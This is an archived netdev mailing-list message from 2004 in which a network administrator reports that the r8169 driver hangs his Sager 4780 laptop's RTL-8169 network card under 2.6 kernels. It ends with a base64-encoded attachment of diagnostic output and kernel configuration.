iD8DBQFAFXunWv4KsgKfSVgRApUkAJsF9kzJLOVI3Ffsk0ejZ5WjK+Y4+ACfTT2U PxZBCeOiGIkRbsJw09YuybI= =w67/ -----END PGP SIGNATURE----- --NzB8fVQJ5HfG6fxh-- From bhartin@straus-frank.com Mon Jan 26 13:25:21 2004 Received: with ECARTIS (v1.0.0; list netdev); Mon, 26 Jan 2004 13:25:34 -0800 (PST) Received: from kkuy210.securesites.net (kkuy210.securesites.net [204.2.109.192]) by oss.sgi.com (8.12.10/8.12.9) with SMTP id i0QLPK7J031113 for ; Mon, 26 Jan 2004 13:25:21 -0800 Received: from edp12 (209-99-2-226.sat.texas.net [209.99.2.226] (may be forged)) by kkuy210.securesites.net (8.12.6p3/8.12.6) with ESMTP id i0QLPJ3Q068127 for ; Mon, 26 Jan 2004 21:25:19 GMT (envelope-from bhartin@straus-frank.com) Date: Mon, 26 Jan 2004 15:19:57 -0600 (CST) From: bhartin@straus-frank.com X-X-Sender: bhartin@edp12.straus-frank.int To: netdev@oss.sgi.com Subject: r8169, 2.6.2-rc2, Sager 4780 laptop Message-ID: MIME-Version: 1.0 Content-Type: MULTIPART/MIXED; BOUNDARY="168432911-1581342244-1075151997=:7894" X-archive-position: 2819 X-ecartis-version: Ecartis v1.0.0 Sender: netdev-bounce@oss.sgi.com Errors-to: netdev-bounce@oss.sgi.com X-original-sender: bhartin@straus-frank.com Precedence: bulk X-list: netdev This message is in MIME format. The first part should be readable text, while the remaining parts are likely unreadable without MIME-aware tools. Send mail to mime@docserver.cac.washington.edu for more info. --168432911-1581342244-1075151997=:7894 Content-Type: TEXT/PLAIN; charset=US-ASCII (This was meant for author of the patches located at http://www.fr.zoreil.com/linux/kernel/2.6.x/2.6.2-rc1/, who states to CC the netdev list in regards to help with these patches. Unfortunately, the author only stated to CC this list, but didn't include his own email.) I've been looking through your patches as a source for help with my new laptop. It's a Sager 4780, which uses an RTL-8169 on board. It is an internal PCI version. Under kernel 2.4.22, this NIC works perfectly. Under 2.6.1 and 2.6.2-rc2, I have the following situation. When I scp a file onto the laptop across the NIC, I get about 4.5Mbyte/sec, and once it reaches about 13MByte transferred, the NIC ceases to function. No oops messages, no errors. You can't ping in or out of the interface any longer. When you scp a file from the laptop to elsewhere, it transfers at about 700kbyte/sec, and once it reaches a little over 6MByte, the entire system locks up, hard. This has been done on two completely different networks with varying hardware, as to rule out anything related to such. I have tried your 2.6.2-rc1 patches against 2.6.2-rc2 (they apply cleanly). The driver behaves the same as before. When I apply your 2.6.1 patches against 2.6.1, I get varying responses. I tried a few combinations (following your order as listed). The most notable effect of any of them is the r8169-init-one.patch. When I apply that, insmod or modprobe lock up when inserting the module. They are unkillable processes at that point. I even tried applying all the patches except that one and the ethtool patch (it won't apply cleanly without the init-one patch applied). When I did this, I started getting messages about "eth0: Too much work at interrupt!" Once this occured, I rebooted back into a stable 2.4.22 kernel. The NIC wasn't responding. I even tried booting into WinXP, but the NIC still wouldn't respond. I was finally forced to remove the battery from the laptop (not meant to be a user task, as it is under a screwed-down cover). Once this was done, it finally cleared the NIC properly and allowed me to continue. I attempted a similar run with the 2.6.2-rc1 patches, cutting out the last patch on the list one-by-one. Attached is a tar.gz containing the outputs you request in your README, plus 'lspci -v' output and my .config for the kernel. This data was collected from a fresh 2.6.2-rc2 bootup, using your full set of 2.6.2-rc1 patches, manually doing a 'modprobe r8169' once booted up. The system is running a P4 with HT enabled, with an SMP kernel. I'm not at all familiar with kernel debugging, but I should be able to carry out any tasks needed, given some minor instructions. Please CC replies to my email address, as I'm not part of this mailing list. Thanks, Bradley Hartin - bhartin@straus-frank.com Communications and Network Administrator Straus-Frank Company --168432911-1581342244-1075151997=:7894 Content-Type: APPLICATION/octet-stream; name="bhartin-sager4780.tar.gz" Content-Transfer-Encoding: BASE64 Content-ID: Content-Description: Content-Disposition: attachment; filename="bhartin-sager4780.tar.gz" H4sIAEl+FUAAA+xbe2/bynLP3/wUU5xbRGotikvqXbi4suwkQixbNZXktG5g UCRl8Zoiefhw7PPp+5tdkpITK7ZucYB70NoARe3OzszOzs5rV3r7zR/+Zxgd o9/t4lP+ff8p3wUeXbPfF0Yf7fjsvKHuH8/amzdFljsp0Zs0jvOfwb3U/yf9 09vexs9u/1AaBha31+nsWX+r2++b1fr3sPIM3+/235Dxh3JV/v0fX/+b6Wz8 /uw4DKLigdKYeJrHltGhteceZ24WaIHn32R+XiSjbds0CvLACYPfg+iWJvNP vxjafHpKaydbU+4sQ5/8KE8DPxtRxxj2qBGnnp+SMEdkYZEHtHzM/aypnfq5 7+a+h1bD0Ad9QbMPv1OSxq6fZXGqa58yppBnLq3ilNbB7bqV+hnlAZQ2LlLX 1yZxlMWhPyI3DtFCn9+P/5UGxoPZ1Wb+Jk4fRyQMy+ibnbu2MDo9/N+Rc+8E oeSzYQ5E/47u/DTyQ+Dw/CMSnf7QvCMQ8tN730MDdPOOPCd38D4w7ijA/PFq DoY9fGO2Nv6mqU3WvnvHDAcrytdBtp0JreMI3IHztU9f5rQMcvLv/QiYKCsS 0AkYagP6uq7T5Z2uTSDfZerkjM/zQ+eRwjhOuLdnmR3dNOkkvo1n07kNMULa j+Q6LrA/twjCwpYyy2UYUf+IumbHHNTrMI1AuLV/fK/btXr18N4RmT1TdDrV 8FlcRPlPhnfFlrZxpFSiHArlGRH/jVc5NOTWj/w0cAlKF+XB6vEIk0qAYbny l6vlakWVw/jx5XtUkK4Hkf7dmBap4/pKphCg+ZGKOMmO6FzQadU6+KhAz82q BTMt2+brxyxwnZDmtQ5MTzH979l0wlCqU/ZqBgcG1iuHtm5AM4jAI6sdOSm+ 8XYqUp91KolT7Cz9WdjU517WLD/ipfIojtQ+1jX5MSI1bN5p/+qj7+whhzgB N5uc0cy+yqghzOZ2H1WjFms/3WDSmxhTitMdCtoZf3LDyslyejf/RJlz75MT ebzTACw134sjX9/CFtHGye5A157OTuUg/8H1kzyIo2qO21H19nu7DvO3kGqW p4XLsHJPfdS1+aU9/RW7PII12TgR1hdKKOWwfKRPF9N30195JtX0G1dNmrP6 FBt+7bCIyNJN4z2sVJb7ScJDjaGGDdziPmmXwoD1psjj1QqK0+mZ+qBLRea7 ma7lmA1tglve15iC2jKe72J389i4yEdk0kYBV2sD4U8vFvUSaWf2Fd07YeHT 0sdEfCViZuUeyx/zJqs0eQvqSG3bD3kCw88dW5Ml2oL8ICGLu3+w+EIrV+Yp d+KP4e5nxnAw1Pu9rTH8f4vyD2VRhLIo4u+yKOKnFgUQ4tCduohzIItX2GW1 pmfkwErcOxyIgIm+sPThoFaopq65SXGTBVI1bzZOcm18pWMSPzQLboZWX4xP zqcX72l62RrPpxOaXv1HpvGKoOVm21L3N5wkcAOvBR6bZLbgIc2W6MlnXz4H 8jnkpyl7TSGfpnxaFMU5G7VIxlK6puuL6ezsalRuo2PjwRIE5OLY5A/zuCW0 qNgsoSsQxGzO7JAKpzhW6Oo7vRWPv5hY4tsAokwBg/hDqywnRzTTS2Io/fk/ rewGkrKBHzU++sWAwTXMcquUg1ifR5RUOi/HBx7DPYU49cPg3kf0s3hMfN4N T3rPFzbVf1XvLmXBRkb0B4YQuyMBu3EQEPtekPrShWyjGYb/DnYOAQabJPQ3 gPLB5ffIKgmA0wzIJBLxAzPm82LAeCdFxKicRi0CuWy7HMqoa6TRxRWdx7ds L2jG/maRBrcAvqJ5HJKdOzmEluVScvQZY9l4aKSsAX+QYKJG9TB2v5QPA/CC J8Ef3/XW8KJ+WEPAmwfAC8Bbr4fvMHznAHjmp/t6+C7j7x0Az/j7r4fvMf7B AfCMf/h6+D7jdw6AZ/zL18MPGL97ADzj914PP2T8/gHwjH/1evgx8IsD9V+I A+HNA+GtA+E7B8J3D4TvHQjfPwiejVkes3+C5ZXuOhtxo0GtfydjZPK7UO+C 3y31bvF7R713+L2r3rv83lPvPX7vq/c+vw/U+4Dfh+p9KPGXxIRkR1TkJD0s n/qmOCnJC0lflAwIyYEoWRDdyoj/9K9MXlSlI4xrZ8f5AIJN+JM0LZIc+YC7 EwTvgFQOVZdBjwsUd5QlPoKZIIMlHQ51o4t4Zvbh9wpuHcP8L4vse2AJO+x3 FKxbpVMLe0LZY+SuU8Rgv6vMxXHTOMsQRYEmfGLiZBmHHvAuKgrc5jj5OvUd T9ZvEDDBBZ9wECeTuwR+knkWNLXp4vILfZr/0ytQyEG2lBveL84WI7oqnSjm gbAuj114upWzCcJH6K02n0zhoydTOple2nCZ9wE7YTJ1LLgqncAnGg8rb+gh 1AodJZ1joQaqleGkMbgtKo4QbID2Jk+RpdybukENOG7T6IphUxtP5hhmF8vs ETxtdggahiUAVkJw5JomqV+nPohpVY8iOb2Uq8zTrtWAUuSI6CwBeVJXyNwI QvVufbpGA6LTBiIqw2iWE0/jJaNj2LWTet8chPMNXn4G+RS5MaISBrCn9rBn QdqQxjrwyEFgzI1duOKGG28SzB1MHovmNkG3A5uGvQeyZycFVHTL1bTm+Epx TAtZFLr+7xv75EZnPvWb+dXi67NjzoPojq7PLz6OMRmOlulfhGj+HPSkBh2+ ADmpILsvAJ6+nvrZ60HfvZrR96+G/FBB1oBnCOE9TrAmMVQ8DkNo2fUZT/0W umtaTe1cFn3nYXErqzBzTqttlebRvaEP+1j1Jo09Z0MnnHNr9sSeIhGs9Dqo agLQW4XroyqjTqBlZHNRExmFRhTLgg3MBF0nbvCVrl0AQAHxlmy+al7KEXzW LrJl241Tn190d1RHxphD5H8jBUboXGUHjlkXS03tJuRu2Jp+LuVY7qXSBjQ4 65Km+8GRXoFdElpmseePBI05R8RLU5Oba2SIaygnwKphClybw4PJJidkq/XI BgmGbLOBlF7Fg/JUD0tRI+3v5cG8Pql46G/BX0dnUNLZznXwEzqTis5gC/46 OsrDPrjb+Qx/Que0orNla/gqOqZR0qkHomUfHateOzVMgb+OjgoLHrx6PmjZ T6daH3MH/HV0zJLOdj7mT+hU66OGKfDX0VGhzIO/ZdD6CZ1qfdQwBV7p/PA5 nS/7Bs/2bf0rGy3p6mRWWzo52R+s6DEuyH9I4KZ8LtoCA1zJJjsinkMhxysb Q29hYI6j2HGT4C0Bmzxkectfj+PV6q02e1K12haTExhIWc2QIRWfCeZP4pml E3K92LsJ0t+08sCHlnEh2YkRbWQwgyPqdRAK3cLoef79CgbvXvBBjYwNhCGs Jl0FLvtgeh/H7poa6S1//tXJo5XuZkEa607RrAYv4dhvattpPEBvInCmGL2L VpnHbjl5RHq/zqkxaXIA16P4Lkj/uokjx9Ozb0vd85u6drF4Z1fGEGGP3qPr d6GDEJuu2l++6lrhrba2Uxbpg9BXZr50J+MJe4KEY5Xr8emcg4w4aoEVv3I4 J06ecyHGDhGPXJ+MFwyzLBsTPk2L8tqLxd+A6KTIc8i+8e5dE5HLl6t3VTBg h76f1N2TGbrt8/lJ1X2O4MT+FuSQ4PX59LQOIeq66DUX8UG9LFpmNBFHNOA4 Ms5zKT7IUZ4/PTdSPB1ZAVWVyP/iuPN68WHGFLoDmjS1JH8ckdnt0acoeECs je9ZHTFCz1P/t8LP8ptN7BV8VrlyAi6RtjMEZm00skL71GpBeVImexPG30Ko bqgTHD3YOiZ4FC1MRtUihrHDvn1Z5BTFBIVhV4v9U0SeBs8Ltzyigdk12qLX 7RrVqL9claHoiIQ+NOgvEIqc5pGqAUI1ZYU9yFQ0muePtsHB8bR9CQW0VgNq YAOAnU6TEwaHJPqxBBRbQHMLaJWAzIzaz3XsqLiWNWhl/KGWDVmWZoOE5B2C VfIwOO5pZfkjAkgZqlt9EDAe+v0Ba87Ens+PFldTezFenB2dzedfdwYyG33Q UifNOx1uktx4TpBh6RwHszBWq4Y12KWJpCa4jW4cz+Oi5x6g/xWaMEG/MmAV PDVKW9SskkInygM3QPQdYyMFMWUwXqxHqfbudIIEWsr3QiYmUE/b3wRQPa/g 2i/ENuhbRk+7Gs9Op/bHShF2QrcRxzjo5lW/y7jmy+ezH6VBI2GYHVpylshf NT50GVW61+AK6aDSPc4kAj5Wo1kR5kEL0WQuv561pqdnFd2t/vV1w3DCZO2Y fMMA9iXLig3P1rL4DkAZYnKWotJTdg3z6aU8Is/+jThnQcrjE8zAmo9kOGF7 eNA4XekKC8kViLrbyNdR3i9j27SjcN3tAPiFJIOTrLM1Y9vHBXYkbv9MkcMO UTIxAukwJLV1oWQZEkeYuu0glRqZbc6pZsVienkumfp0OhsLy9phTuMSCKYA VTiZtdCtdJyvxLTkR/9IZa5gL5eFEVp7zgiAR3hZjpIgrlCIH1AMFIrVMyjc CoUnUTBO+rCw+2bP6BmzIQy4cUTjxZi2msNrZZS4V5K7Vf+IDUOPz3t4q4mO xphpcWl/mJ5g7OfT1tXljGx89IQwJUa4+slpu+qqMYsSc19i7kvM/S3mrmJR FealQS29Lmvpx+BEdQvRN7nBwFx5C2TU6HG1nWYnTfrW7g/6fcAiR8EuOqLJ B/tY9KyB1Ta73XbPOpLr0xCcGlMbut0GX20umBhtqJjRRkBw6+NLWERYr0RQ YlJiUdJ5wbhZuvXEuJlNzV+7wc3a9Z4AAcUHKOoHLtFsM7d9sCwXE0wj6iGO SFaDgXD4+GAPPOdEn+wTua+2qdJRaaKkQ8moPP0pyx/qjJodvTIJMBDCHLDR 4V1RHwvyCfozc97HCDPBZZOy7nGkZi10VrkqTjEMq3Xquy1zqCGBI9EyRgBQ Y7lBebsnXT3lzrbmPi7JjyQ6unRzLqwyBqELenuZ+NHb74VNjUsw06RTxUcD YmjuIFqqohlkgV2EiSPmy/lZg+xOFTxdPreee2DlehpP19Pl9dwDf8h6mlJU 5n4p1l3mPinuUhcHzEyUMxNPZ+bvm5k4bGaWZN/aPzNr78xe2rQmb9qyLmwI s/ksu+YBojBLUZhPRCFP/fbBHyKKjpxvZ78oOntFcVhJxSk8+IwnY0Iw1Jbt PAypjwE6zMGY22jC/eXww2s+YfIMMdkuiRm6KK3KPJXFUjpVa/mE6pNbLAw8 404bXgJJWwnE5fSDuWtlCof2A9LSQO4MPRT9Oni6NkGUFHkbrS0eK2dvloL+ MD0lbqzmi0gQ7nFut02ELEXmVwruxhskiDKm4tsiDKblsGYTLvL+RnlcuOvM TX3kznU5HSk56GqSOofjZCe+cwciwcDomMxGfZtTXqdAlMSBYBL6D2X9vNwW RxxisfnVtQyZSowNwRho/OlXQ+qkigJ6Btw/bKt0/eYPoGI/aMnidCMnfh7f 8iWWNX1Z+35IMykHDikyOMqe0ZaIf8Rvvp4V60VWJCPvy5tIz3PQeYr248np PqwV0vGCbxRFWSgvrnB9x6Q7/3EZc33he/SGNvbuZQWDVKnWZotA490rPqW/ +6zuKJChD/U+NRbrAsgTpLckhiPRG1k95Us/LSZIUV6d2mYRFBastYynSe1L OWH/+5xQDrBVHCtj7sh9LOs2iE2eQ5DH7J6fBAqVTS3BZQUI0u7tWFXO13w+ 49Kw66RZG1XgpjJ/pU6r05kVX+4SfP8VT7lEsqpulBtHGUE7T31Hpjn1mOw5 9FuMIBXmZdQOZO8ur2bjxc3iP+fIqXzs0SDhNI9DMWXjt8juYei8kpPM4dsp lEJaNGBX83qa8MXytiTrYXltbEAZYwpjiUt9WQfqi5PnabAscj+T8DuEdqyb lyVIFI6snV7IsryuKY/+HrCabJ4WfgpxIa011ZkbcApD7IyL4hK6XIyyCPLd YB5wI0fcIM9GYqCAOfeu2mVFiLfbqu9ZS8s1nkYOexTGfFZh5LmdUnJ1DY4v OBmNDpKKJ4HWQUh5fcLBA5ccOAKV1cqYOmo5ZRjN3+vrRJe2DSs9qzfECCbg 3B5X30NAjZA28q1dzlTtaR/xTZmAuRyGS2MzePF81dSm81FdVv7hEji25EAM TcQo7p3PhaZe56O8+60tJhj3oYbcLZhRAyaFLUK2xpfqsnmAZZU30Zsged+R NQCSb3kRRb6yH8rxvXgo/DJEn+/3rWDeRtWdxcZi1pRn7JcR8pIN7+6JzAVm bPvKc/H6/mI9+iKWh+RVJFAXuxPstuoaMp4IFvj2mFJfXbPjVS5Pau0iQ5Li ScOyccJVEcnbXvLwdTavb0HTaVm0o1FDm894bo4n60obLuxQsAEBvezJio1P qzTeyKJPabOr09tt7dM2yLbI7pDdbT4NHvcornhWce/+FhcptqGn6upgSicO NTZBrowOLBV1Se5KL9POfl1YLa5/b/hnBVz6qWvRqtojf0nAVsTJHfWTCe3z O3tEsxKef8MCDXrIrZ2hTeLThzgKH3WtApR1dmaeE33tHeIddecc/tmrfhKy qX5Ewr/7wIIiUOafwBiEbcPHof6mWnq2OD/GlH51CPpZ3h4e1WEAyUMWmCB7 cXk1fn9Gp2efp5MzLuRc+fewF8LsYpi61khYXr7m1xq7XKimZ//GF+BHMpXW ZTa+bJDnvCkhffCNrk18L3emXPrMc3jPyykdkbt2eCPxjzTgOvAMC66DPcVQ 3ajObo0Xhx5Rabb/gQWwfGkWYq8AxItD/wwCcF+axfcYtgIwXxz6ZxCA99Is rL0CsF4cuhXAl/HVxfTi/egZK8GWjE3hbRrkjzKaQ7c8OtpjUcooB8QxO08a esG/s+3+D3vP2tS2kuzn+Ffo7vlwoIqHJcvGdm1u1Vga27PWK5KM4aRSKgMm 8Q1gLpgTcn/9ds/orZEgWeDc3YoqD2u659XT3dPd85AGHfq2vE202uGXi6UG 6ha84g2WPdxXlRVuvQd3T+WqVhkHiAx4+p5Qx2gxxSobo7L7GPTCDV7p/Iqx Y7Q1EMjpkSrBg1aatsbQwi2MGHdP+N4tjFTc4cz1X8ocXCBRNreSP2Op0Nz3 cZtPcPOR6ClXt2qibvnWtWW8EFnUvRhcF7HlqtJNotEpx5XD0jHH4VHBHMcZ AqnpqeG4+zuYJbHlnf3r63NBNtw3/3gIf5VvMBRosl4c3n1THpeHaAdo8ArK eHu3/J4upRi5AHl+8QRPNpRYMkaFehOOVH9Yn+tPZk2Yufszk3rGaR0Jp/3M tM+Xtf/cXKE5E2+tB9qoBy0wfq6UEHzC2EKLXds/1QNwyu/6am+gTNafl3gM k26/4Ey/TaisHmjxCtcTrukSd/2BR9qNg4NHu63V9gueHRMHhNbQVlxUEhQD cfjdDy2s+v6wr6rt+98PYvw4Od6E2O9f4srPHhQ5HLSHl92h1h+2B8Nefy/Z DiOykYftZv9m9XmzXQshoCKWnhQLpdhnt/dgYl9d7l88YCBG2YDRGQuqOP97 cHh1f3u+ftUzxs3nv9ua1m3nzn93f53/fsOH8zIwMg9dn/FNpOgPXuESMt9n iHtwMbzEBfFe+Qi+4ifuMPb07uOjsoOxvG68QQhcA77K+txyYCa8+Xqz+XaT k61OS0Rt2goDZ/XnS8JVV944Vd+Ni1TFLtWfapfaiwsBLQZmyGKNe2gZpVRR OwN99xk0S7PlFgjiRWg+daXhl2eUhQvMykfI9amVbJzAee36GVnFKbxu50j5 2O19VRbrG1Sl158EsZbthFhHYh3/enWxXopoVy6E+xwW4fZJflEtX34Hxhct G+NHihSrdu1Koe3LpFD1NQrVXqPQzs8VqhUKbSXTUDqH5YcI58Dt6mtpQ4ix OdhTrO3FAU47+3zeEWISj8w51rC8uwBBSaWPOlQJV+dfbjZXm8/foYXnijFS dVVg4upTpaOoEVShWo4nRMl2jxeaSEKWFbxe3WPRFeHTV91266/Wk/+pTzz/ 7//5inU0z/9qu5fN/0fwDviq1tZ/zf9v8bzY/P8uPe8yVAyLHruHM+K5M76k +LBFYS/PqXq/3XoX70JFHXK9xFDsnoJTzsM1ot2vrvbSFZ6e3nonbnRBQ3nV j0+w73S0/TO8jeVmc7MP7ublaguuCyiaXeUj7tF439PtT613xvIWrP2r9ZYf 4f143v6kkImXcxq6rZczYZQd3OO8v8YTiMpHZ8O3jV6s8HaZT7vSPvd69pf/ 2xNXY5Q7Phi03nGz5fZufb28+/4enQPhV/E3cNbuH87AO1rfQA7xvjrfj7O/ 7/Vb73BX5tnqCwbQk44h8QZ8hxn+uLy8TKlbQlydq5zS+/Dj8pIjejkyxwHS cq7LWMj3L48uRa7XsOt+gH3arZexApMqS9XEBy84pUXwHJi0r+L4cy7saJ9a r2BBZpwGk/FH3ITy6U1EMetwTiTPnyuS+gwkkj7eLm+48GHcAvL//eEmWTz4 b+Vjsgf5U5xH1fqzqhz39E/xXnI7W0FJhFprvYCBnVG4DxS2OWHegsbQ373k SFGRq1AcE6L0Uq56QQ+gqL7iYO3P9FnX2mqjwPTLXdPTrmld6Fu54/12xg1V ZtD7z2GG13Ns3k7uKnQ7b6Rbv/0v0+2lHba/VnFp7bLiUp+tuF7F1fyLyaGW yaH9KDle1kn+i8mhlcnR+VFyvIh7n1FBAyrQt6ZCp0wF/fmTe0nDdNtPa5gX jGP8OI1AQzbZ5U/p40FJ42rtkj4uErL7LEKKnCVKXpw/TcmXC+G86YyW0Uhv /5Al2eQcaSXnqFt0jtSjXlrxN/BfNt+UNt5ZKlqwr7fBe+ENKVRezqJiln6S 5YxnERyRlYlAPfG39Da6UTkENUbQEwQdEdQe9l65Wn1eAq2y/Xkpn2H4pPWi gbai7Qcl/ssqh/u0o+X5Vw3/qROpxNLNmOCywgQyBgCDxi7bO4Mm6VOfHTZ4 MSel2y8HG9o/rCFfK/6D8T8w/1+reP48sf7X1rpaFv9Txf3PeudX/O8tHr51 cVXd1hDgUS/cpYEHu+IV88qjdrWOhlc4te6257LNEarW6bU5Ar9FGncblBH6 bT1FOL+olNA5OopL+Ksp9Z/5HBxmN0y9Vh1PyL/abXcy+dcgHcP/v+L/b/Lk RA23qWc/1fhnS0HrBR8NxmXQy/A5cnw/6P4Kb58SpzAghzpMkHqdo8Yc/LQL 5NCGJbTKz5NwH3fVK+fL+/PlxQry9HN5tMZaQD3hhX0pvtpTG/HxvpAWv64+ yaA3Z4i7oepJDtB8g+YcFyt+CV/Wh06535UMeEthv55QCT6/OULJ7epv4cmd tCtdrTEbbh5qwWDn6uk1ZkhOLUIm9Wcy5YZ+MHhupk6WSW0mQ3IAueXYrI52 Lcs1UiYHfZT+1AdKi/p+Lp/aslmQL+ffe2IC/X8pzl28Xh1P6X9dz9l/Gu7/ UnWYBn7p/zd4UNoFI/Or5MApXt4O0zCMMl3gMY54K+I424rI54XkWSMq4g3V 9gH+6R5ooPVHoKm3cZLW7eJfhV9IPIzf8Hxwrpi5p4x8l5gGCULFnzu4V1qx 51bIeIpih/MhyCY0115t79bnQzWX2T9Rbpf8hNFQBYORn726H+LFN5vb29UF /OI3hjzcYOLl3fJ6NczXHWbZn8p8vry7W4PTm89+jje23PN7mtrK9vF/H1YP q6vVzZBHlYut5GefhtqR3u0pO1rvoK/MznZ5AwQE95SCL3+2m8uW3vc3VAfg St+vksM1Q3FLiNJqXW0S5Nw4Wvw2UWuzuT2DztWNmXaEA3Gg5ganXR0ay3W9 ETFm6ciI8ejpnd5TA/L/ZjjkY5FSXDoK/97q/cnn4PC1tf9T+r/XU7ul73+p +PzS/2/x/Nb6jW8kv15u8Z79q+/iOABfn7hefl3FhzKHeNvu71tldbHetn5r Ga4zZpPopN97/z15se159jJnppqDTahDfWZELCCRaRMAtLBiY3OBRx+3D/zU i7DX4vvuskroiQd5beqExMpKNCxKnMhwbY9ZNEsOQuKYxHIdmtTBl69BC/JP WGWlBgvi5bKdBsfMMyABGiWSRoEZeb5r0CCIiGGE6YU3q20ulxHm2mS5kG0+ joIpG4fv1W5WGJuJH/lCUiC1R9Q0qSmpYUYsKzi1g6yO8TykJ9kr9Vwr1wLm BsaUmpEDyrqaSoJqmkmJaTFOrrRBhhG5Xshs9geNxq4fBfAj3zhOV2uzvBD7 f0QEKT40mlHYds25RXNVioRo7lgwyefriwFQlZGAJbRwR4Fr0ZAiukd8u1TC MfUD5jqBjIoATtghu+mPn8rAs0eXK+TA1X2Br6MiN2DKsXtKJtSXjiHCnblN PtRCg7lts7AWPGITPM1bBz5mwSKohcbiRXxjWotDgyO0FGRgu9PvyQF6HaDb AMDrwutgtn0ih/XqCvRA8NncZuwJMJMMfALVC7wyq6lpdlST3penU4s4cojh zwOXymEL5hhT0DU1jYjBWiO0Y9bUe+qzE1ZHqmNGjE4kLznHRRI6ItSwvRNj OsnEGRNPiGkWUyw1MghollgJHiUwfxFQO8ISIEtErInrs3BqFzMvvGjh+rMg cmdFAHOOLa9U96iowrnMuh4xK5knrmvyz+6UywypFc0D6huud1qEQWrkgfaP oCfGDEQ3A089Gkb8+zp5puKpFJwVAgrKD2VEBPHOSnH8CO+wf68lCZ5Pqe2F JWK6BrFkTXcliSB2xQTboJUEmBmcMSnMpAnE08Mp9W0OSvuVnJuU8Qzrz+SM xgyYN11TLgC8uqBeiwJZmJy9YZKUpjvulE2mNrUlRI8h+qQwWCKxp0/qc+QG HBK8sDBB2iScxqMNU45M8YR+gT3oWKaepuSYwgRs4DjP0gmKLwLm7oOIDSJl B29n2FOIZ+9mM5WXa2jgjsMF8UH05gEovpxgenaEVzhWEiKYR0OGfXj/t7+J 6vnNFDvpXUFG4asH/JZ43j6WrEXvJjfGZ23CIrKq8C0auW5YSkLx84HrQy5I eUhgUerJ0rg9Fo2DEowY5dpICKWellPnYQgdLSaOSTkltvnccqskwiFqB2pL 2VLkapAfjmDS0VzGhnGTy32l5b567qJCQM8o0x8s1TDP0zzRhwnsBM1C20qY D5grN/jl9ehdcYVoNuBZV7yC8AmQN1fG/HYo3Ohxjx8vufmccQmAo7FPPxQM zzhNDDRwyFhCmRTJpGMyt0LQ78cRuAj8ZiTHoNIC87io8gOPGLSp8GqhUgyk fgBiXANPq5I2StNRjTe1IiQjK/VkIBXpmftCY3wrXNFw5WOLuCXilmFyIhfQ efccdxHVmExFHLn5VMSRm1J8lj7hegtM9XoT2qPUBEb2IgPsOp857jNQWYNN nGEFtmwceNt18DVBPwsfQprZYqMyocEDnfhzuXmYwKfAkRWpwT1bqcYHQd7D O5wMRvYUCs7znmIb8A/8ys8BXNzT4uEVeI9Lqqx2ATaZT6U+rQATJ6c9MQmL K6aIEsoVo+F0DOmuX1O2RSfEOOW8VyzPIXbeWYQuFiZQPDQit3nl6YHxqBXd nWTSdUPPmk/S6ZZT9zDZLlfxYgU8a9cpxiHeX6eSSnyzoKVZX2sPtAwB3ju9 LrxnJpUhtbFFRUiYEc0ah3eKbm/xCy0SrRt3BclX4SP6uDp/EDdw4T0K8RVu OVUxYs7YBpvVGmeNj9OIOw8riTbj9iUvPL5a00zVTxZpWZ8ndy24aSAnbfB4 EaFzX/ShOUK8Qyu3Q9GMr7TfsUNzN18IvFeye8u75dXV6krcQlUdROJ7rp/r U5wgnPxKGvg6llrg7BgE2pwRSy5WWe4xG8sVUw4nmGNQ60k0wRSNWC4aJjJ+ iuGq1tdTfip86qdKJscr9NrxquZJEkThd6UVBhckFHLI2+p4ZX0klB2/myO5 rSVjTWsGFR9H40KUKEk9kU8Q0F9W43JgTsMDI0BOyQRssCBowsHKTWIMevIo SoIyl3siCdgSoblKNsM/9UIXoY2lOyNZbCyB+iRn5OUSeQjvPd7rXwYyh4V+ bmazRmmoDNzEQ36fzqE9tg99y6pyDFC8Wp9IjBluhatV9ytQFpvzBzQiuSeB l6ofbB+3/N6eL6ur28P1zeUGL4dJvxVQ4K2k6KkZlQa5WnfR04kTIr6OiHHC gimWQIPQd2f1zBOXbMiCi3m4mdfzOQAQ8cnCx5breafNFeA1Q/kqIAlMRGg/ c43QkuRNEMbMooCUDAv/NkL8uYN4TA/PHj5frh9lYmjYZk9vS3mWQyLqTNFG lstlrvkl9SBByDsu4j0KpujSMv+DrAHueDxyYQpuKDaOaklzeyHraWqTPP2B 61JSFjdtUra8SlAez5Y1LcsdkXnolhkSQK5jnfKPLkjjLln2BWuiKBFLLZX2 EWr0tBN5IDbFsZjaPek049jmkf5EOZxFmlHAkh9b9IliTvua0Rs0t8cIul2t WTkjSqcZZeqFnSdajCg9uUuUoASGqtWE2xMUj7Hmapygf6Sr3eZCTENrw2BG rtUsfymiQxfNLT9ezOSuQ4rBmI239dVzXvwNFBnzBZYxaNMnqBf6tjZopt4x I8ASJzXsh4oPI+UBDZ9Q2iUZiYWLHY/qBbcstJjmuE7JDJdMXhUDiN8bFx+a qEyuXNt/z7/lAmBZ9uSCeb6etYM3Gu4p2+UtftuEXwm3W9XoQcGwMqa+SJWv TiVgNwhkDmNapi8dbR/cQceUuoNpvakzFmyuV3magPW/Ovh8AB1R/ufh6+ps 87ibdje5XF6x5s59kWjxZA+AEvl8yk1iAAT5xnIY/MbF41DO+hzFcicT3Pki HcWrzbd4x2EWlamQo7OIgGNPwCSriXHzenChbkyCmvHgKMQozXol8JSoXU0u GhmCLl8LEgjEaG4kYcZRnfTlEWoVU4o0aCzFPCZOcNowKszR6hY2BTPQCWnu SoDfOKqFgnsPA8/ka5qCdbwPY6OJcUz7pKMO1IYmmKHR0foNvaCNbURo5NX4 kxxjPA/nYEeZrk2YPCzF0SZmKA+XCWi8jcMx/G6nqbUlxMi2m9oGarppeBlR m8bX8xoIw2y7HshbZ+jtXkMBwakNOH3g4wZh8Uigyic0AQ6YprflkwNH+MAZ LAKZfxKHBXL/sFBOA6/GKGqJ2YooREPBFWkVRYlgtUlkEaHOvEwROk0Iguh6 E01NozPoPjbD2w0KNMx/w6oCnat61NHlgXGBYIU+CUphzhJ3BV6ngWdqIisi 4MNnlOSW2/tq5C8OFjap+Rhl3CDxMYrDnH8Q3qgmrA8VJcgb5F5dFG+phTkb EbC4PY4KRlMhfmfg9qTEm60GAvnHA4smkbLD9TcGrqxjuxgMrNpU4wd+ZtL2 wqpllUUi50Fp5VY4xsl1PMpOctlOZnHs5Hei5awqzIR5wDMX5kD6gWxJCDRB BrPIH7kBrbBBFdOdA7eMKm2VB2HD1eMST/fitzQw3HKPQWTr+434ZB70B4Ca UW18hJcs5HuRxPhyFUg6AcPocnpJjOUEKRh5WiFqkQdE3vQ0QAu6mQY0nD5V 